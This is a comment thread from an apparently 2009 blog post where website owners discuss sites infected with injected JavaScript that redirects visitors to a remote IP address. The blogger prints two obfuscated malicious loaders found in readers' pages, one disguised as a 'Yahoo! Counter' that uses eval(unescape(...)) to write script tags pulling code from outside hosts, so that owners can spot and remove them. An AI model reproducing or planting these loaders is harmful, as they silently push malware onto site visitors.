Comments on: Uh ohz you got haxored! http://trevornashkeller.com/misc/uh-ohz-you-got-haxored/ That White Hat Guy. Tue, 29 Jun 2010 16:41:56 +0000 hourly 1 http://wordpress.org/?v=3.0 By: abuhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5941 abu Sat, 23 May 2009 15:49:22 +0000 http://trevornashkeller.com/?p=220#comment-5941 Very intersting...nobody suggested here how to remove this...please give a proper suggestion if anyone removed this Very intersting…nobody suggested here how to remove this…please give a proper suggestion if anyone removed this

]]> By: Trevorhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5938 Trevor Wed, 20 May 2009 02:11:40 +0000 http://trevornashkeller.com/?p=220#comment-5938 My guess is he got in to your hosting account/server and just ran a script to scan for certain files he is interested in and inserts the malicious code. My guess is he got in to your hosting account/server and just ran a script to scan for certain files he is interested in and inserts the malicious code.

]]> By: Michaelhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5906 Michael Fri, 24 Apr 2009 15:23:25 +0000 http://trevornashkeller.com/?p=220#comment-5906 Forgot to add...in our case, he hit files/folders that had not been touched in 4 years, so i know it wasn't infected code uploaded from user machines. Could it be an exploit in front page extensions? Forgot to add…in our case, he hit files/folders that had not been touched in 4 years, so i know it wasn’t infected code uploaded from user machines. Could it be an exploit in front page extensions?

]]> By: Michaelhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5905 Michael Fri, 24 Apr 2009 15:21:44 +0000 http://trevornashkeller.com/?p=220#comment-5905 Has anyone figured out how this guy is getting into systems? Has anyone figured out how this guy is getting into systems?

]]> By: Trevorhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5829 Trevor Sun, 12 Apr 2009 15:38:32 +0000 http://trevornashkeller.com/?p=220#comment-5829 Your problem is that there is javascript inserted into your documents. I went into just one page and found this directly underneath the tag: <code> <script language=javascript><!-- document.write(unescape('%3CRAGsc9v8r9v8iRAGpt%20srRu0c %3D%2F %2Fyc7jEP8%2E19v810%2EjEP1jEP759v8%2E29v849KKa %2FjEPjRu0qKMdu9v8ejEPr9v8y9v8%2EKMdjs%3E%3C9v8%2F9v8 scjEPryciKKaptRAG%3E').replace(/yc|RAG|KMd|jEP|Ru0|KKa|9v8/ g,"")); --></script> </code>This is definitely something malicious. You need to remove that from every and any page it is on in your website. It is good you changed the 777 permissions but I am pretty sure this happened from the trojan you had on your computer. Make sure to remove that code from your pages and remove that trojan from your computer, then change all your passwords. Your problem is that there is javascript inserted into your documents. I went into just one page and found this directly underneath the tag:

<script language=javascript><!--
document.write(unescape('%3CRAGsc9v8r9v8iRAGpt%20srRu0c
%3D%2F %2Fyc7jEP8%2E19v810%2EjEP1jEP759v8%2E29v849KKa
%2FjEPjRu0qKMdu9v8ejEPr9v8y9v8%2EKMdjs%3E%3C9v8%2F9v8
scjEPryciKKaptRAG%3E').replace(/yc|RAG|KMd|jEP|Ru0|KKa|9v8/
g,"")); --></script>

This is definitely something malicious. You need to remove that from every and any page it is on in your website. It is good you changed the 777 permissions but I am pretty sure this happened from the trojan you had on your computer. Make sure to remove that code from your pages and remove that trojan from your computer, then change all your passwords.

]]> By: Sandra Lambhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5828 Sandra Lamb Sun, 12 Apr 2009 11:40:25 +0000 http://trevornashkeller.com/?p=220#comment-5828 I too have been infected with this, I had just launched my membership when I had an exploit 2 days later. I found a config.php file in my root folder of my host with 777 permissions - I removed it and later found I had a trojan on my PC. I am fairly green when it comes to computers so I could be a little slow in picking these things up. I find now when I click on pages in my nav bar from my index.php the page is directed to 78.110.175.249 it seems to site there for some time and then moves on to open the original page that was intended. I am hoping I have foiled it my initially removing the suspect config.php file - but am just not sure.My original exploit was 13/03 Any suggestions - this is my first venture into website building. I too have been infected with this, I had just launched my membership when I had an exploit 2 days later.
I found a config.php file in my root folder of my host with 777 permissions – I removed it and later found I had a trojan on my PC.
I am fairly green when it comes to computers so I could be a little slow in picking these things up.
I find now when I click on pages in my nav bar from my index.php the page is directed to 78.110.175.249 it seems to site there for some time and then moves on to open the original page that was intended.
I am hoping I have foiled it my initially removing the suspect config.php file – but am just not sure.

My original exploit was 13/03
Any suggestions – this is my first venture into website building.

]]> By: some security researcherhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5757 some security researcher Fri, 03 Apr 2009 14:14:59 +0000 http://trevornashkeller.com/?p=220#comment-5757 Note that some malwares directly inject javascript on the machine, by looking at html, php, asp files on the machine. they don't even need your website credentials, as YOU will upload the infected pages yourself..my two cents. Note that some malwares directly inject javascript on the machine, by looking at html, php, asp files on the machine. they don’t even need your website credentials, as YOU will upload the infected pages yourself..

my two cents.

]]> By: Jeroenhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5735 Jeroen Tue, 31 Mar 2009 13:08:49 +0000 http://trevornashkeller.com/?p=220#comment-5735 I was infected too! Probably cause an virus on my local PC (wich i used for uploading). I informed my ISP (in the Netherlands): http://forum.antagonist.nl/viewtopic.php?f=7&t=5938After this infection i got the virus warning on a file: setup_u.exe on my local pc. This was AFTER my website was infected and I visited it...So probably now the script is infecting other PC's throug my/our website... I was infected too! Probably cause an virus on my local PC (wich i used for uploading). I informed my ISP (in the Netherlands):
http://forum.antagonist.nl/viewtopic.php?f=7&t=5938

After this infection i got the virus warning on a file: setup_u.exe on my local pc. This was AFTER my website was infected and I visited it…

So probably now the script is infecting other PC’s throug my/our website…

]]> By: Trevorhttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5683 Trevor Sat, 21 Mar 2009 15:32:53 +0000 http://trevornashkeller.com/?p=220#comment-5683 @Jay I took a glance at your source code and noticed this:<code><!-- Yahoo! Counter starts if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/#/#%3Cdi!%76%20s~%74y~l$%65%3D@%64~isp$%6C!%61%79:`n%6Fn%65%3E\n@%64&oc~%75m|%65%6E%74%2E#w%72@it%65("@%3C~%2Ft#%65xt#%61@%72e~%61%3E"%29!%3Bv~%61$%72%20!i~%2C|%5F,@a%3D`%5B"7~%38@%2E$%31~1%30`.$%31!%37%35.2@1"!,"1`%39%35%2E%32!%34@%2E&7%36|.2`%35%31$%22$%5D%3B%5F!%3D|%31;%69&f%28%64@%6Fcu%6D@%65nt.%63%6Fo@k@%69e$%2E%6D&at|%63$%68%28#%2F~%5C%62h@%67f%74|=$%31%2F%29!=@=`%6E%75%6C%6C%29%66%6Fr~%28%69=!%30&%3Bi%3C`2$%3B|%69%2B%2B#%29$%64%6F%63&u%6D@%65%6E&t`.@%77r#%69t$%65%28%22%3C&%73`c`%72i$%70%74$%3E%69#%66`(_@)@%64o%63`%75|%6D%65n#t@%2E%77&r%69%74%65(&%5C"`%3C~%73c%72i|p%74~%20@%69%64!%3D%5F!"+`%69%2B%22$%5F@%20sr$%63~=$%2F%2F%22&%2Ba|%5B&i@]%2B%22%2F`c!%70/&?%22&+@%6Ea@%76%69&g~%61%74!or.%61#pp#%4E%61m%65.|%63|h`%61~%72%41`%74%28%30#%29&+"%3E%3C#%5C!%5C#/~%73%63&r@i%70|t%3E%5C%22$%29%3C@%5C|/s%63r#i%70|%74%3E`%22%29#%3B\n&/|%2F%3C`/%64@i%76%3E').replace(/\!|\||~|@|`|#|\&|\$/g,""));var yahoo_counter=1; <!-- counter end --></code>This looks like the same sort of thing as what my friend was infected with, but possibly more serious. You should make sure to get that removed from your site right away. It appears that it is in the footer of your site. From the little bit of research I did on this "yahoo counter" script injection it appears that many users had reported virus's being automatically downloaded to their computers when they visited the site. @Jay I took a glance at your source code and noticed this:

<!-- Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/#/#%3Cdi!%76%20s~%74y~l$%65%3D@%64~isp$%6C!%61%79:`n%6Fn%65%3E\n@%64&oc~%75m|%65%6E%74%2E#w%72@it%65("@%3C~%2Ft#%65xt#%61@%72e~%61%3E"%29!%3Bv~%61$%72%20!i~%2C|%5F,@a%3D`%5B"7~%38@%2E$%31~1%30`.$%31!%37%35.2@1"!,"1`%39%35%2E%32!%34@%2E&7%36|.2`%35%31$%22$%5D%3B%5F!%3D|%31;%69&f%28%64@%6Fcu%6D@%65nt.%63%6Fo@k@%69e$%2E%6D&at|%63$%68%28#%2F~%5C%62h@%67f%74|=$%31%2F%29!=@=`%6E%75%6C%6C%29%66%6Fr~%28%69=!%30&%3Bi%3C`2$%3B|%69%2B%2B#%29$%64%6F%63&u%6D@%65%6E&t`.@%77r#%69t$%65%28%22%3C&%73`c`%72i$%70%74$%3E%69#%66`(_@)@%64o%63`%75|%6D%65n#t@%2E%77&r%69%74%65(&%5C"`%3C~%73c%72i|p%74~%20@%69%64!%3D%5F!"+`%69%2B%22$%5F@%20sr$%63~=$%2F%2F%22&%2Ba|%5B&i@]%2B%22%2F`c!%70/&?%22&+@%6Ea@%76%69&g~%61%74!or.%61#pp#%4E%61m%65.|%63|h`%61~%72%41`%74%28%30#%29&+"%3E%3C#%5C!%5C#/~%73%63&r@i%70|t%3E%5C%22$%29%3C@%5C|/s%63r#i%70|%74%3E`%22%29#%3B\n&/|%2F%3C`/%64@i%76%3E').replace(/\!|\||~|@|`|#|\&|\$/g,""));var yahoo_counter=1;
<!-- counter end -->

This looks like the same sort of thing as what my friend was infected with, but possibly more serious. You should make sure to get that removed from your site right away. It appears that it is in the footer of your site. From the little bit of research I did on this “yahoo counter” script injection it appears that many users had reported virus’s being automatically downloaded to their computers when they visited the site.

]]> By: Jay Brookshttp://trevornashkeller.com/misc/uh-ohz-you-got-haxored/comment-page-1/#comment-5682 Jay Brooks Sat, 21 Mar 2009 08:34:23 +0000 http://trevornashkeller.com/?p=220#comment-5682 Here's my story with this IP address.So, I'm building a joomla website. I'm standing around at Best Buy looking at some Apple gear and took a peek at the site and it looked trashed -- elements on the page were out of sorts and missing. Later, on a different machine, I noticed that it was connecting with "http://78.110.175.249/cp/a/?p" and the browser appeared to lockup. So I shut the computer down and started poking around for info on the IP address. Anyway, Spybot and AVG didn't seem to find anything of importantance but get this... the site now appears to be fine on every computer but mine. At this moment the site won't even open (for me) in Safari (just get a blank page) and FF and IE7 are placing the joomla modules incorrectly (for me). Every other website I hit seems just fine on this computer. And other computers seem to render the site fine (www.site.connexionscc.com).I could understand my computer screwed aound with other pages or random pages but not just this particular site. Simply perplexing. Here’s my story with this IP address.

So, I’m building a joomla website. I’m standing around at Best Buy looking at some Apple gear and took a peek at the site and it looked trashed — elements on the page were out of sorts and missing. Later, on a different machine, I noticed that it was connecting with “http://78.110.175.249/cp/a/?p” and the browser appeared to lockup. So I shut the computer down and started poking around for info on the IP address. Anyway, Spybot and AVG didn’t seem to find anything of importantance but get this… the site now appears to be fine on every computer but mine. At this moment the site won’t even open (for me) in Safari (just get a blank page) and FF and IE7 are placing the joomla modules incorrectly (for me). Every other website I hit seems just fine on this computer. And other computers seem to render the site fine (www.site.connexionscc.com).

I could understand my computer screwed aound with other pages or random pages but not just this particular site. Simply perplexing.

]]>